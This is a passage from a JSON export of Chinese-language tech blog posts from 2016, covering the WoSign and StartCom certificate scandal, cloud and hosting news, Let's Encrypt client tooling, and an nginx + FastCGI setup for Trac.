出包卻沒有主動通報的事件，當時知道的大約有三或四件。而在 <a href=\"https://groups.google.com/forum/#!forum/mozilla.dev.security.policy\">mozilla.dev.security.policy</a> 不斷的討論的情況下，由於關注度變得超高，在搜尋大量的資料下發現更多問題，到現在 Mozilla 的 wiki 上已經列出了 13 個。\r\n\r\n而這邊以 Mozilla 最後整理的草稿，將 13 個事件整合起來成幾件來說明：\r\n\r\n<h2>WoSign and Back-Dated SHA-1</h2>\r\n\r\n在瀏覽器會對 2016 後所簽出直接跳 error 的情況下 (像是「<a href=\"https://security.googleblog.com/2015/12/an-update-on-sha-1-certificates-in.html\">An update on SHA-1 certificates in Chrome</a>」)，直接偽造是 2015 年簽出的 certificate。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/e3Xe7QE.webp\" /><img src=\"https://i.gslin.com/imgur/e3Xe7QE.jpg\" alt=\"\" /></picture>\r\n\r\n<h2>WoSign’s Ownership of StartCom</h2>\r\n\r\nMozilla 的 CA program 要求當公司擁有權轉移時必須揭露：\r\n\r\n<blockquote>[...], Mozilla’s program requirements say that a change of CA ownership must be disclosed. In this case, that was not done - and in fact, the change was directly denied a few months after it happened.</blockquote>\r\n\r\n直到最近被抓到而揭露後，發現 WoSign 所揭露的也不正確，StartCom 已經開始使用 WoSign 的 infrastructure 了：\r\n\r\n<blockquote>More recently, even after the evidence of total control was public, WoSign referred to their interest in StartCom in a press release as “an equity investment”, and maintain that the two businesses continue to be separate even today. They say “the original system ... of StartCom remains unchanged”.\r\n\r\nHowever, there is technical evidence that around a month and a half after the acquisition, StartCom issuances switched to using WoSign’s infrastructure - either the same instance of it, or their own instance.</blockquote>\r\n\r\n而 Mozilla 要求 WoSign 提供他們產生 serial number 的程式碼時：(在 WoSign 簽出重複的 serial number 問題時得到的)\r\n\r\n<blockquote>Mozilla asked WoSign how they generated their serial numbers, and was told that they used the Java package java.crypto.SecureRandom. They supplied the following code snippet:\r\n\r\n[...]\r\n\r\nHowever, as can be seen from this simple test harness, this code snippet does not produce serial numbers matching WoSign’s idiosyncratic pattern.</blockquote>\r\n\r\n再度發現 WoSign 給的程式碼對不上。(hey)\r\n\r\n然後再多方面分析後發現 WoSign 宣稱跟 StartCom 只共用 CRL/OCSP (revoke 機制) 是假的。Mozilla 由多方面判斷發現，至少程式碼是共用的 (i.e. clone)，甚至猜測整個系統都是共用的 (在更後面提到)：\r\n\r\n<blockquote>We believe that, taken together, all this shows that StartCom’s certificates are now being issued using either WoSign’s existing infrastructure or a clone of it, and that WoSign’s operational control of StartCom began straight after the November 1st 2015 sale date. This evidence should be compared against WoSign’s recent assertion that “Even now, it still independent in the system, in the validation team and management team, we share the CRL/OCSP distribution resource only.”</blockquote>\r\n\r\n<h2>SHA-1 Exceptions Process</h2>\r\n\r\n再來是講一些背景。因為金流產業到了 2016 年還是有系統不支援 SHA-256 certificate，而 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 已經禁止簽發 SHA-1 憑證了，所以 2016 年二月的時候 <a href=\"http://www.worldpay.com/\">WorldPay</a> 跑上來尋求例外：\r\n\r\n<blockquote>This became clear in February of 2016, where a payment processor called WorldPay applied to the CAB Forum for an exception so they could acquire 8 SHA-1 certificates to keep SSL working for their legacy payment terminals. Their CA was unable to help them because of the ban in the CAB Forum Baseline Requirements, and to issue in violation of the ban would lead to a “qualified” (not clean) audit, which might lead to browsers no longer accepting their audit as valid to keep them trusted.</blockquote>\r\n\r\n而在亞利桑那的 face-to-face meeting 中剛好就討論了這點，允許 <a href=\"https://www.symantec.com/\">Symantec</a> 簽發，而要提出來的是，WoSign 的 Richard Wang 也在場：\r\n\r\n<blockquote>This issue was discussed at length in the CAB Forum face-to-face meeting from 16th-18th February 2016 in Scottsdale, Arizona (where Richard Wang of WoSign was present). Mozilla then had a public discussion about it in our policy forum starting on 23rd of February. In the end, the browsers reluctantly agreed to let Symantec issue these certificates for Worldpay - or rather, they agreed to accept that Symantec’s next audit would be qualified in this way.</blockquote>\r\n\r\n所以 Mozilla 再次強調，當下大家的結論是特別許可，簽發被禁止的 SHA-1 certificate 是很嚴重違反規定的事情：\r\n\r\n<blockquote>Even at this point, in February 2016, it was (or should have been) clear to all CAs, including WoSign, that issuing SHA-1 certificates in violation of the ban was a Very Big Deal, and that permission had to be sought from the browsers in order for the CA not to face difficulty.</blockquote>\r\n\r\n<h2>Tyro</h2>\r\n\r\n接下來是 <a href=\"https://tyro.com/\">Tyro</a>，這是一家澳洲金流廠商，直接複製草稿上的時間表：\r\n\r\n<table>\r\n<tr>\r\n<td>Feb 3rd 2010</td>\r\n<td>GeoTrust issues a SHA-1 certificate for *.tyro.com from their Equifax root, valid until May 6th 2013.</td>\r\n</tr>\r\n<tr>\r\n<td>Apr 6th 2013</td>\r\n<td>A month before their old cert expires, GeoTrust issues a replacement SHA-1 certificate for *.tyro.com from a GeoTrust root, valid until June 7th 2016. A simple roll-over replacement.</td>\r\n</tr>\r\n<tr>\r\n<td>Jan 1st 2016</td>\r\n<td>SHA-1 issuance ban comes into effect.</td>\r\n</tr>\r\n<tr>\r\n<td>May 24th 2016</td>\r\n<td>A month before their old cert expires, GeoTrust issues a SHA-256 certificate for *.tyro.com from a GeoTrust root, valid until June 23rd 2019.</td>\r\n</tr>\r\n</table>\r\n\r\n但 Tyro 在 2016 年五月拿到的 SHA-256 憑證很明顯不合用，於是試著找 SHA-1 憑證... 結果不管怎樣，後來拿到了 StartCom 所簽出來的 SHA-1 憑證，而藉由技術上的 pattern 可以發現這是 back-dated (偽造日期簽發)：\r\n\r\n<blockquote>But the strong evidence is that this SHA-256 certificate did not meet Tyro’s needs. We can see a SHA-1 certificate for *.tyro.com which was logged in CT on June 8th 2016, a day after their previous SHA-1 certificate expired. This certificate is not issued by GeoTrust (who still provide the cert for their main website) or Comodo, tyro.com’s usual providers, but by StartCom. And the notBefore date is that magic date of 20th December, 2015 - a date on which, as noted above, StartSSL.com was closed for upgrading, and on which we have seen many Macau certificates issued by WoSign, which we believe are back-dated.</blockquote>\r\n\r\n也可以很清楚的確認到現在還在使用：\r\n\r\n<blockquote>The SHA-1 certificate in question is still in use today on <a href=\"https://iclient.tyro.com/\">https://iclient.tyro.com/</a>.</blockquote>\r\n\r\n<h2>Conculsions</h2>\r\n\r\n最後 Mozilla 得到的結論：\r\n\r\n<ul>\r\n\t<li>StartCom are using WoSign’s infrastructure (the same or a clone);</li>\r\n\t<li>Certificates on this infrastructure with a notBefore of 2015-12-20 (China time) are indeed back-dated - this further confirms our suspicions about the Macau certificates we saw issued by WoSign; and</li>\r\n\t<li>StartCom’s hierarchy has been directed by management to mis-issue “WoSign-style”.</li>\r\n</ul>\r\n\r\n同時他們認為最後一點是最嚴重的一點，你必須將 StartCom 視為與 WoSign 完全同樣的公司，所有對 WoSign 的檢查與處置都必須相同對應到 StartCom 上：\r\n\r\n<blockquote>This last point is important; the practices at WoSign are now being seen at StartCom. Therefore, we conclude that all of ownership, infrastructure and control are sufficiently common between the two companies that it would therefore be reasonable for any action Mozilla chooses to take against WoSign to also be taken against StartCom and vice versa.</blockquote>\r\n\r\n另外一個很嚴肅的問題，CA 架構是建立在稽核機制上，而 WoSign 所選擇的稽核單位無法稽核出應有的「多個問題」：\r\n\r\n<blockquote>WoSign’s auditors, Ernst &amp; Young (Hong Kong), have failed to detect multiple issues they should have detected. (Issue J, Issue X)</blockquote>\r\n\r\n提案的處理方式類似於 CNNIC 當時被拔掉的方式，針對某個日期之後的都不信任。這同時包括了 WoSign 與 StartCom 的 certificate。這真是可喜可賀啊...",
    "title": "Mozilla 對 WoSign 事件的決策 (草稿階段)"
  },
  {
    "id": "6878",
    "body": "前幾天提到的「<a href=\"https://blog.gslin.org/archives/2016/09/22/6858/linode-%E6%9D%B1%E4%BA%AC%E6%A9%9F%E6%88%BF%E6%93%B4%E5%85%85%E7%9A%84%E5%B7%A5%E4%BD%9C/\">Linode 東京機房擴充的工作...</a>」，這幾天 Linode 就開始發 PR 稿造勢了：「<a href=\"https://medium.com/linode-cube/behind-the-scenes-details-about-upcoming-tokyo-2-dc-launch-88cac22fa69c\">Behind The Scenes: Details About Upcoming Tokyo 2 DC Launch</a>」，把重點拉出來。\r\n\r\n新機房在品川 (Shinagawa)，原文應該是打錯了 (n 跟 b 差一格而已)：\r\n\r\n<blockquote>Linode will be opening a new datacenter in Shibagawa ward, Tokyo, Japan, this fall and I was able to interview Linode’s datacenter operations manager, Brett Kaplan, who answered questions I asked regarding the upcoming Tokyo datacenter launch.</blockquote>\r\n\r\n目標在 2016Q4 上線：\r\n\r\n<blockquote>Soh: Can you say when this new datacenter is expected to come online?\r\nBrett: We are hoping to launch later in Q4 this year.</blockquote>\r\n\r\n用的是 <a href=\"http://www.equinix.com/\">Equinix</a> 的機房：(然後這邊的 Shinagawa 是對的 XD)\r\n\r\n<blockquote>Soh: So, where did you decide to establish the second Tokyo location?\r\nBrett: We are utilizing an Equinix datacenter in Shinagawa ward Tokyo, Japan.</blockquote>\r\n\r\n這樣看起來應該是「<a href=\"http://www.equinix.com/locations/japan-colocation/tokyo-data-centers/ty2/\">Tokyo TY2 Network Interconnection</a>」這個...",
    "title": "Linode 東京第二機房的訪談 (a.k.a. PR 稿)"
  },
  {
    "id": "6879",
    "body": "有些人認為儘量保持原狀，但有些人認為儘量維持 tree 的乾淨，而這次推出的 rebase 則是把後者的需求補上了：「<a href=\"https://github.com/blog/2243-rebase-and-merge-pull-requests\">Rebase and merge pull requests</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pc42pg8.webp\" /><img src=\"https://i.gslin.com/imgur/pc42pg8.jpg\" alt=\"\" /></picture>",
    "title": "GitHub 在 Merge Pull Request 時支援 Rebase 了"
  },
  {
    "id": "6881",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上被提醒 <a href=\"https://github.com/lukas2511/letsencrypt.sh\">letsencrypt.sh</a> 改名為 <a href=\"https://github.com/lukas2511/dehydrated\">dehydrated</a> 了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">Hi <a href=\"https://twitter.com/gslin\">@gslin</a> letsencrypt.sh 已經 rename 成 dehydrated<br><br>建議一下看是否 letsencrypt.tw 的文件要不要調整一下</p>&mdash; johnpupu (@johnpupu) <a href=\"https://twitter.com/johnpupu/status/780269632816975873\">September 26, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在「<a href=\"https://github.com/lukas2511/dehydrated/commit/64e35463cbbfc35ad1bf8537b60602707be2daaf\">renamed project to dehydrated and main script to dehydrated.sh</a>」這邊可以看到對應的 commit。\r\n\r\n原有的 <a href=\"https://launchpad.net/~gslin/+archive/ubuntu/letsencrypt.sh\">letsencrypt.sh PPA</a> 仍然會保留，但不會再更新 (維持 letsencrypt.sh 所發行的最後一個版本，0.3.0)，要使用的人請使用 <a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated\">dehydrated PPA</a>，目前是 0.3.1。\r\n\r\n原先的設定要搬過去的話有不少要改：\r\n\r\n<ul>\r\n\t<li><code>/usr/sbin/letsencrypt.sh</code> -&gt; <code>/usr/sbin/dehydrated</code> (執行檔)</li>\r\n\t<li><code>/etc/letsencrypt.sh/</code> -&gt; <code>/etc/dehydrated/</code> (設定檔與 cert &amp; key 的目錄)</li>\r\n\t<li><code>/var/www/letsencrypt/</code> -&gt; <code>/var/www/dehydrated/</code> (challenge 的目錄)</li>\r\n</ul>\r\n\r\n既然 cert &amp; key 的目錄也換了，<a href=\"https://httpd.apache.org/\">apache</a> 與 <a href=\"https://nginx.org/\">nginx</a> 的設定也要記得換，我這邊還要多換 <a href=\"http://www.postfix.org/\">Postfix</a> 的設定...\r\n\r\n接下來要改對應的教學文件...",
    "title": "letsencrypt.sh 改名為 dehydrated"
  },
  {
    "id": "6883",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <code>m4</code> 系列推出更大台的機器，<code>m4.16xlarge</code>：「<a href=\"https://aws.amazon.com/blogs/aws/expanding-the-m4-instance-type-new-m4-16xlarge/\">Expanding the M4 Instance Type – New M4.16xlarge</a>」。\r\n\r\n先前 <code>m4</code> 最大的是是 <code>m4.10xlarge</code>，現在則是往上拉... 比較特別的是這款機器可以吃到 20Gbps (跟之前出的 <code>x1.32xlarge</code> 相同)，更早推出的 <code>m4.10xlarge</code>，以及 <code>{c4,c3,g2,r3,i2,d2}.8xlarge</code> 都只能吃到 10Gbps。\r\n\r\n選擇會更活一點... 不過到這個等級的應用應該都規劃過 scale 架構才對？雖然也是有可能有那種買來的 application 啦...",
    "title": "Amazon EC2 推出 m4.16xlarge"
  },
  {
    "id": "6884",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 PR 宣傳：「<a href=\"https://blog.cloudflare.com/time-for-an-update/\">Six years old and time for an update: CloudFlare becomes Cloudflare</a>」。\r\n\r\nLogo 從這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IncJEsa.webp\" /><img src=\"https://i.gslin.com/imgur/IncJEsa.jpg\" alt=\"\" /></picture>\r\n\r\n變成這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ArzFakQ.webp\" /><img src=\"https://i.gslin.com/imgur/ArzFakQ.jpg\" alt=\"\" /></picture>\r\n\r\n其中一個原因是：\r\n\r\n<blockquote>Our old logo also had a lot of complexity, which made it really hard to reproduce on t-shirts, signs, stickers, and anything else we wanted to use it for. We ended up making a flat version of it, but our design team was never satisfied with the end result.</blockquote>\r\n\r\n週邊很難處理的概念嗎 XDDD\r\n\r\n然後名稱中的「Flare」變成「flare」，不過網站下的 copyright 還沒改，應該還在修吧...",
    "title": "CloudFlare 改名為 Cloudflare 並且換 Logo"
  },
  {
    "id": "6885",
    "body": "<a href=\"https://acme.sh\">acme.sh</a> 是另外一套用 shell script 寫的 ACME client，由西安的 <a href=\"https://github.com/Neilpang\">Neilpang</a> 寫的。我也包成 Ubuntu PPA 了：「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/acme.sh\">PPA for acme.sh</a>」。\r\n\r\n我建議的用法是先建立 <code>/etc/acme.sh</code>，把各種設定都放到這個目錄裡面，然後用這樣的指令執行：\r\n\r\n<pre>$ sudo acme.sh --issue -d www.example.com -w /srv/www.example.com/webroot/ --home /etc/acme.sh/</pre>\r\n\r\n不過 acme.sh 有個問題，沒有將檔案與目錄權限處理好... 我申請完後發現目錄是 <code>drwxr-xr-x</code>，而 key 是 <code>-rwxr-xr-x</code>，這樣會有安全性的問題，需要自己再修改。",
    "title": "另外一套用 shell script 寫的 ACME client (或者說 Let's Encrypt client)"
  },
  {
    "id": "6887",
    "body": "本來已經發行的 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 11.0，因為最近的安全性問題 (應該是講 <a href=\"https://www.openssl.org/\">OpenSSL</a>？)，決定不以 security update 的方式更新，而是直接發新版了：「<a href=\"https://lists.freebsd.org/pipermail/freebsd-current/2016-September/063452.html\">[REVISED] [HEADS-UP] 11.0-RELEASE status update</a>」。\r\n\r\n<blockquote>Although the FreeBSD 11.0-RELEASE has not yet been officially announced, many have found images on the Project FTP mirrors.\r\n\r\nHowever, please be aware the final 11.0-RELEASE will be rebuilt and republished on the Project mirrors as a result of a few last-minute security fixes we feel are imperative to include in the final release.</blockquote>\r\n\r\n我以為應該是發 11.0.1，然後把架上的 11.0 拿掉...",
    "title": "FreeBSD 11.0 重新發行..."
  },
  {
    "id": "6890",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 放出 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">PXC</a> 5.7 了：「<a href=\"https://www.percona.com/blog/2016/09/29/percona-xtradb-cluster-5-7-14-26-17-ga-is-now-available/\">Percona XtraDB Cluster 5.7.14-26.17 GA is now available</a>」。\r\n\r\n主要的效能提昇還是基於 <a href=\"https://dev.mysql.com/doc/relnotes/mysql/5.7/en/\">MySQL 5.7</a> 上面，不過要注意的是有些預設值有改變 (尤其是 5.6 -&gt; 5.7 最有名的 <code>sync_binlog</code> 設定)，如果當初沒有特別指定的話，效能會掉不少，這點 Percona 整理了不少資料出來，可以翻一下 Percona 網站得到結果。\r\n\r\n不過整體上改善了不少，在 5.6 需要一些手動設定的值以確保在 heavy loading 時不會拖垮系統效能 (也就是常說的「卡 query」)，在 5.7 變得自動化了。像是 <code>innodb_thread_concurrency</code> 之前的建議都是設在 CPU logical threads 數量以確保當 threads 數量破千時還是有慢慢消化的能力 (讓 DBA 可以不用介入)，在 5.7 不需要設定就跑得不錯了。",
    "title": "Percona XtraDB Cluster 5.7 (Galera Cluster)"
  },
  {
    "id": "6891",
    "body": "昨天 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/purchasing-options/reserved-instances/\">Reserved Instance</a> 有了重大的變化：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-reserved-instance-update-convertible-ris-and-regional-benefit/\">EC2 Reserved Instance Update – Convertible RIs and Regional Benefit</a>」。\r\n\r\n當初 <a href=\"https://aws.amazon.com/\">AWS</a> 規劃 RI 的重點在於「保留」而不是「折扣」，所以在整體的規劃上你可以看到都是以「保留」為想法在規劃 (像是購買時要到 region + zone 的層級)。但其實更多人是看中他的「折扣」，所以 AWS 這次乾脆推出了不分區的「折扣」方案 (購買時只指定 region)，當然使用者就要規劃成 a 區開不起來就去開 b 區的機器：\r\n\r\n<blockquote>Many customers have told us that the discount is more important than the capacity reservation, and that they would be willing to trade it for increased flexibility. Starting today, you can choose to waive the capacity reservation associated with Standard RI, run your instance in any AZ in the Region, and have your RI discount automatically applied.</blockquote>\r\n\r\n另外是 RI 之間的轉換，現在可以透過系統直接轉不同 type 的 RI 了：\r\n\r\n<blockquote>Convertible RIs give you even more flexibility and offer a significant discount (typically 45% compared to On-Demand). They allow you to change the instance family and other parameters associated with a Reserved Instance at any time. For example, you can convert C3 RIs to C4 RIs to take advantage of a newer instance type, or convert C4 RIs to M4 RIs if your application turns out to need more memory.</blockquote>\r\n\r\n不過相較於隔壁的 <a href=\"https://cloud.google.com/compute/\">Google Cloud Engine</a> 的 discount 是完全自動算 (不需要先買 RI 這類的產品) 還是差了不少...",
    "title": "Amazon EC2 的 Reserved Instance 的重大變化"
  },
  {
    "id": "6892",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 為了 GPU 而推出的 P2 type：「<a href=\"https://aws.amazon.com/blogs/aws/new-p2-instance-type-for-amazon-ec2-up-to-16-gpus/\">New P2 Instance Type for Amazon EC2 – Up to 16 GPUs</a>」。\r\n\r\np2.large 有這樣的規格：\r\n\r\n<blockquote>This new instance type incorporates up to 8 NVIDIA Tesla K80 Accelerators, each running a pair of NVIDIA GK210 GPUs. Each GPU provides 12 GB of memory (accessible via 240 GB/second of memory bandwidth), and 2,496 parallel processing cores.</blockquote>\r\n\r\n而最大台的 <code>p2.16xlarge</code> 也就是 16 倍... 每小時單價也刷新了之前 <code>x1.32xlarge</code> 的記錄 $13.338/hr (us-east-1)，來到了 $14.4/hr...\r\n\r\n另外也推出了 deep learning AMI，內裝了一堆常見支援 GPU 的 ML framework：\r\n\r\n<blockquote>In order to help you to make great use of one or more P2 instances, we are launching a  Deep Learning AMI today.</blockquote>",
    "title": "Amazon EC2 的 P2 instance"
  },
  {
    "id": "6893",
    "body": "<a href=\"https://www.google.com/\">Google</a> 放出了九百萬張以 <a href=\"https://creativecommons.org/\">CC</a> 授權釋出的圖片，標上 tag 後變成 <a href=\"https://github.com/openimages/dataset\">Open Images dataset</a>：「<a href=\"https://research.googleblog.com/2016/09/introducing-open-images-dataset.html\">Introducing the Open Images Dataset</a>」，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lyWEqWR.webp\" /><img src=\"https://i.gslin.com/imgur/lyWEqWR.jpg\" alt=\"\" /></picture>\r\n<small>Annotated images form the Open Images dataset. Left: <a href=\"https://www.flickr.com/photos/kevinkrejci/2957748348\">Ghost Arches</a> by <a href=\"https://www.flickr.com/photos/kevinkrejci/\">Kevin Krejci</a>. Right: <a href=\"https://www.flickr.com/photos/lobsterstew/3197736453\">Some Silverware</a> by <a href=\"https://www.flickr.com/photos/lobsterstew/\">J B.</a> Both images used under CC BY 2.0 license</small>\r\n\r\n不過這不是人類分類出來的結果，而是機械學習的成果：\r\n\r\n<blockquote>The image-level annotations have been populated automatically with a vision model similar to Google Cloud Vision API.</blockquote>\r\n\r\n不過因為這不是人工確認過的資料，如果要拿來做比較精確的研究，還是得用 <a href=\"https://www.mturk.com/\">Amazon Mechanical Turk</a> 這類服務先校正過以確保正確性。",
    "title": "Google 整理並公開出九百萬張圖片以及對應的 tag"
  },
  {
    "id": "6894",
    "body": "感覺好像是從 <a href=\"https://en.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 大勝<a href=\"https://zh.wikipedia.org/wiki/%E6%9D%8E%E4%B8%96%E4%B9%AD\">李世乭</a>開始，透過各類 neural network 的技術就一直冒出來...\r\n\r\n<a href=\"https://www.yahoo.com/\">Yahoo!</a> 這次放出來判斷是否為色情圖片的也是同源的技術：「<a href=\"https://yahooeng.tumblr.com/post/151148689421/open-sourcing-a-deep-learning-solution-for\">Open Sourcing a Deep Learning Solution for Detecting NSFW Images</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/f9qr935.webp\" /><img src=\"https://i.gslin.com/imgur/f9qr935.jpg\" alt=\"\" /></picture>\r\n\r\n當年沒辦法做的事情，現在的技術已經成熟到被 open source 出來了...",
    "title": "Yahoo! 也放出了判斷是否為色情圖片的方案"
  },
  {
    "id": "6895",
    "body": "在 <a href=\"https://groups.google.com/forum/#!forum/mozilla.dev.security.policy\">mozilla.dev.security.policy</a> 上看到有人行動了：「<a href=\"https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/lWJ1zdUJPLI\">Apple's response to the WoSign incidents</a>」。這使得 <a href=\"https://www.apple.com/\">Apple</a> 成為 <a href=\"https://www.wosign.com/\">WoSign</a> 事件中第一個行動的單位。\r\n\r\nApple 這次先把 WoSign 放入 iOS 憑證清單的黑名單公告在這邊：「<a href=\"https://support.apple.com/en-au/HT204132\">Blocking Trust for WoSign CA Free SSL Certificate G2</a>」。\r\n\r\nWoSign 在 iOS 產品線中是靠 <a href=\"https://www.startcom.org/\">StartCom</a> 與 <a href=\"https://www.comodo.com/\">Comodo</a> 的交叉簽章，所以如果 Apple 只想擋 WoSign 憑證的話，必須以阻擋 Intermediate CA 的方式避開：\r\n\r\n<blockquote>Although no WoSign root is in the list of Apple trusted roots, this intermediate CA used cross-signed certificate relationships with StartCom and Comodo to establish trust on Apple products.</blockquote>\r\n\r\n不過為了降低對 user 的影響，這次的阻擋會有例外。當 CT log server 在 2016-09-19 前收到的 SSL certificate 還是會信任 (要注意的重點是，這邊的日期不是簽發，是送到 CT log server 上)：\r\n\r\n<blockquote>To avoid disruption to existing WoSign certificate holders and to allow their transition to trusted roots, Apple products will trust individual existing certificates issued from this intermediate CA and published to public Certificate Transparency log servers by 2016-09-19.</blockquote>\r\n\r\n接下來會開始更深入的調查 WoSign 與 StartCom：\r\n\r\n<blockquote>As the investigation progresses, we will take further action on WoSign/StartCom trust anchors in Apple products as needed to protect users.</blockquote>\r\n\r\n另外本來的棚子裡，<a href=\"http://www.360.com/\">Qihoo 360</a> 與 StartCom 正式提出要求在 2016/10/04 與 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的人面對面討論 (在英國)：「<a href=\"https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/1XI3Y7PJ1Uc\">WoSign and StartCom: next steps</a>」：\r\n\r\n<blockquote>Following the publication of the recent investigative report, representatives of Qihoo 360 and StartCom have requested a face-to-face meeting with Mozilla. We have accepted, and that meeting will take place next Tuesday in London.</blockquote>\r\n\r\n繼續來看進度... 下個禮拜應該會有更多的資料出來。",
    "title": "iOS 阻擋 WoSign 憑證"
  },
  {
    "id": "6897",
    "body": "<a href=\"http://www.cnn.com/\">CNN</a> 這篇「<a href=\"http://money.cnn.com/2016/10/01/technology/netflix-outage/index.html\">Netflix goes down. Twitter blows up</a>」提到了昨天 <a href=\"https://www.netflix.com/\">Netflix</a> 當了好幾個小時的情況。裡面提到了 <a href=\"http://downdetector.com/\">Down Detector</a> 這個服務：\r\n\r\n<blockquote>Downdetector -- which monitors outage complaints online -- reported more than 13,000 posts from users all over the world Saturday afternoon.</blockquote>\r\n\r\n到 Down Detector 網站上看，這個服務有一部份是從 social network 上挖資料：\r\n\r\n<blockquote>Downdetector collects status reports from a series of sources. Through a realtime analysis of this data, our system is able to automatically determine outages and service interruptions at a very early stage. One of the sources that we analyse are reports on Twitter.</blockquote>\r\n\r\n甚至還可以挖出是全域性的還是區域性的 outage...",
    "title": "服務當掉後的偵測"
  },
  {
    "id": "6898",
    "body": "在「<a href=\"https://github.com/mxgmn/WaveFunctionCollapse\">mxgmn/WaveFunctionCollapse</a>」這邊看到有趣的東西：\r\n\r\n<blockquote>This program generates bitmaps that are locally similar to the input bitmap.</blockquote>\r\n\r\n我覺得這張很有感覺，給幾個 bitmap，然後電路板就出現了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MLzVSml.webp\" /><img src=\"https://i.gslin.com/imgur/MLzVSml.jpg\" alt=\"\" /></picture>\r\n\r\n然後這張的感覺也很棒：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7Tm1OXW.webp\" /><img src=\"https://i.gslin.com/imgur/7Tm1OXW.jpg\" alt=\"\" /></picture>\r\n\r\n還有 3D 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JAyIK8s.webp\" /><img src=\"https://i.gslin.com/imgur/JAyIK8s.jpg\" alt=\"\" /></picture>",
    "title": "用 Bitmap 或是用 Tilemap 組成大圖"
  },
  {
    "id": "6900",
    "body": "先前試著逼自己用 <a href=\"https://github.com/phacility/phabricator\">Phabricator</a>，用了一個多月後發現設計的邏輯還是跟 <a href=\"https://trac.edgewall.org/\">Trac</a> 差了不少，算是為了 <a href=\"https://www.facebook.com/\">Facebook</a> 特化的產品吧。在這一個月查資料的過程也發現當初 <a href=\"https://www.wikimedia.org/\">Wikimedia</a> 要採用的時候也花了不少力氣送 patch 回官方，然後針對不少地方客製化調整。\r\n\r\n另外比較痛的地方是 plugin 的支援能力還沒有很好，變成很多東西都要改主體... 而且效能也不太好 (不支援 <a href=\"https://secure.php.net/\">PHP</a> 7.0 還蠻痛的)，在比較低階的 VPS 上跑特別明顯。\r\n\r\n這幾天花了點時間把 Trac 給架起來，之前都是用 <a href=\"https://www.freebsd.org/ports/\">FreeBSD ports</a> 架，但已經愈來愈沒有再接觸 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 了，所以這次在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上用 <a href=\"https://github.com/yyuu/pyenv\">pyenv</a> 裝起來再用 <a href=\"https://pypi.python.org/pypi/pip\">pip</a> 裝起來。\r\n\r\n另外一個跟之前不同的，是先前都用 <a href=\"https://httpd.apache.org/\">Apache</a> 接 <a href=\"https://pypi.python.org/pypi/mod_wsgi\">mod_wsgi</a>，在低階的 VPS 上則是要找省資源的方案，這次則是用 <a href=\"https://nginx.org/\">nginx</a> + FastCGI 去接，比起之前複雜不少...\r\n\r\n最主要是參考了官方的文件以及「<a href=\"http://geeksavetheworld.com/blog/2013/10/07/trac-plus-nginx-plus-fastcgi-plus-gentoo/\">Gentoo下使用nginx+fastcgi部署trac</a>」這邊的說明達到效果，重點是這段 <code>location</code> 的設定：\r\n\r\n<small><pre>    location / {\r\n        auth_basic \"trac realm\";\r\n        auth_basic_user_file /srv/domain.example.com/.htpasswd;\r\n\r\n        include fastcgi.conf;\r\n        fastcgi_param AUTH_USER $remote_user;\r\n        fastcgi_param HTTPS on;\r\n        fastcgi_param PATH_INFO $fastcgi_script_name;\r\n        fastcgi_param REMOTE_USER $remote_user;\r\n        fastcgi_param SCRIPT_NAME \"\";\r\n        fastcgi_pass unix:/var/run/trac/trac.sock;\r\n    }\r\n\r\n    location /.well-known/acme-challenge/ {\r\n        alias /var/www/dehydrated/;\r\n    }</pre></small>\r\n\r\n網路上有找到用 <code>location ~ (/.*)</code> 去 match，然後拉出 <code>$1</code> 給 <code>PATH_INFO</code> 用的，這這會使得這段 <code>location</code> 的優先權太高 (參考官方對於 <code>location</code> 的順序說明)，而蓋掉下面 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 acme challenge 過程，所以還是得這樣搞。\r\n\r\n另外是自己一個人用，就用 .htpasswd 的方式認證了，沒必要弄 LDAP 之類的認證...\r\n\r\n接下來就是裝一堆 plugin 並且調整 css/js 與 SQL query 了...",
    "title": "Nginx + FastCGI + Trac"
  },
  {
    "id": "6901",
